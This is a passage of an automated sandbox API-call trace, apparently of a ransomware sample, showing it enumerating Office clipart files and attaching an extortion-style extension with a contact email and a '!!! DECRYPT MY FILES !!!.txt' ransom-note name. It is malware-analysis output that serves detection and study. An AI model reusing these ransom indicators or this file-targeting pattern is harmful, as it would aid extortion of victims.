dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.775] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.775] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.775] GetProcessHeap () returned 0x630000 [0137.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x390) returned 0x6fc44e0 [0137.775] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0137.775] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 1 [0137.775] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf") returned 0x44 [0137.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.775] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.775] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.775] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.776] GetProcessHeap () returned 0x630000 [0137.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x394) returned 0x6fc44e0 [0137.776] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0137.776] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 1 [0137.776] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf") returned 0x44 [0137.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.776] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.776] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.776] GetProcessHeap () returned 0x630000 [0137.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x398) returned 0x6fc44e0 [0137.776] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0137.776] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 1 [0137.776] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf") returned 0x44 [0137.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.776] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.776] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.776] GetProcessHeap () returned 0x630000 [0137.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x39c) returned 0x6fc44e0 [0137.776] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0137.776] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 1 [0137.776] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf") returned 0x44 [0137.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.777] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.777] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.777] GetProcessHeap () returned 0x630000 [0137.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3a0) returned 0x6fc44e0 [0137.777] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0137.777] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 1 [0137.777] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf") returned 0x44 [0137.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.777] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.777] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.777] GetProcessHeap () returned 0x630000 [0137.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3a4) returned 0x6fc44e0 [0137.777] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0137.777] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 1 [0137.777] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf") returned 0x44 [0137.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.777] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.777] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.777] GetProcessHeap () returned 0x630000 [0137.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3a8) returned 0x6fc44e0 [0137.778] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0137.778] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 1 [0137.778] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf") returned 0x44 [0137.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.778] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.778] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.778] GetProcessHeap () returned 0x630000 [0137.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3ac) returned 0x6fc44e0 [0137.778] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0137.778] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 1 [0137.778] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf") returned 0x44 [0137.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.778] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.778] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.778] GetProcessHeap () returned 0x630000 [0137.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3b0) returned 0x6fc44e0 [0137.778] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0137.778] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 1 [0137.778] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf") returned 0x44 [0137.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.779] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.779] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.779] GetProcessHeap () returned 0x630000 [0137.779] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3b4) returned 0x6fc44e0 [0137.779] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0137.779] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 1 [0137.779] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf") returned 0x44 [0137.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.779] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.779] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.779] GetProcessHeap () returned 0x630000 [0137.779] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3b8) returned 0x6fc44e0 [0137.779] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0137.779] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 1 [0137.779] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf") returned 0x44 [0137.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.779] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.779] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.779] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.779] GetProcessHeap () returned 0x630000 [0137.779] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fc44e0, Size=0x3bc) returned 0x6fc44e0 [0137.779] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0137.779] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 1 [0137.780] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf") returned 0x44 [0137.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.780] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.780] 